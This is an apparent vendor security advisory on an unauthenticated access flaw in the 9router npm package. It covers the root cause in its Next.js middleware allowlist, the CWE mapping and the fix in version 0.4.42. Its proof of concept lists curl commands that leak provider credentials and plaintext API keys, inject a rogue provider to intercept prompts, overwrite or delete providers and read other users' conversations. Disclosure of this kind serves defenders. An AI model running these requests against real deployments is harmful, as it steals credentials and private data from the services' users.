critical · 10Jul 6, 2026

9router: Unauthenticated CRUD on Provider API and Full API Key Leak

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any unauthenticated user on the network can read, create, modify, or delete all AI provider connections in 9router and retrieve plaintext API keys, because the Next.js middleware never guards the /api

Package9router
Ecosystemnpm
Affected<= 0.4.41

The problem

9router's Next.js middleware uses an explicit route allowlist in src/proxy.js. The /api/providers/* and /api/usage/* routes are not in that list, so the dashboardGuard auth check never runs for them.

The result is a zero-credential attacker can harvest all stored provider credentials (including OAuth tokens and partial API keys), inject a rogue provider to MITM all prompts, or delete every provider connection outright. The /api/usage/stats endpoint returns full plaintext API key strings alongside per-account usage data. /api/usage/request-details/:id leaks full conversation turns including system prompts and assistant responses for every user.

Proof of concept

A working proof-of-concept for this issue in 9router, with the exact payload below.

bash
# 1. Leak all providers (credentials, OAuth tokens, account IDs)
curl -s https://<host>/api/providers

# 2. Inject a rogue provider — captures all traffic routed through it
curl -X POST https://<host>/api/providers \
  -H "Content-Type: application/json" \
  -d '{"provider":"openai","authType":"apikey","name":"rogue","apiKey":"sk-attacker-controlled"}'

# 3. Overwrite an existing provider's key (IDOR — no ownership check)
curl -X PUT https://<host>/api/providers/<existing-uuid> \
  -H "Content-Type: application/json" \
  -d '{"name":"modified","apiKey":"sk-attacker-key"}'

# 4. Delete a provider (denial of service)
curl -X DELETE https://<host>/api/providers/<existing-uuid>

# 5. Dump full plaintext API keys and usage
curl -s https://<host>/api/usage/stats

# 6. Read another user's full conversation (system prompt + messages)
curl -s https://<host>/api/usage/request-details/<request-uuid>

The root cause is a Next.js middleware allowlist pattern. The matcher in src/proxy.js enumerates only specific routes like /api/shutdown and /api/keys; any route not in the list never reaches dashboardGuard, so the handler executes with no session check at all.

All /api/providers/* and /api/usage/* handlers are omitted from the matcher, making them fully public. There is also no per-resource ownership check, so any ID passed to /api/providers/:id or /api/usage/request-details/:id is a blind IDOR.

This maps to CWE-862 (Missing Authorization) and CWE-200 (Exposure of Sensitive Information). The fix adds those route patterns to the matcher so dashboardGuard.proxy() is invoked before any handler runs, and the /api/usage/stats response was changed to return masked keys only.

The fix

Upgrade to 9router 0.4.42 or later (npm package: 9router). The patch adds /api/providers/:path*, /api/usage/:path*, and related routes to the middleware matcher in src/proxy.js so every request hits the dashboardGuard auth check. Usage stats responses were also updated to never return full API key strings.

Reporter not attributed.

References: [1][2]

Related research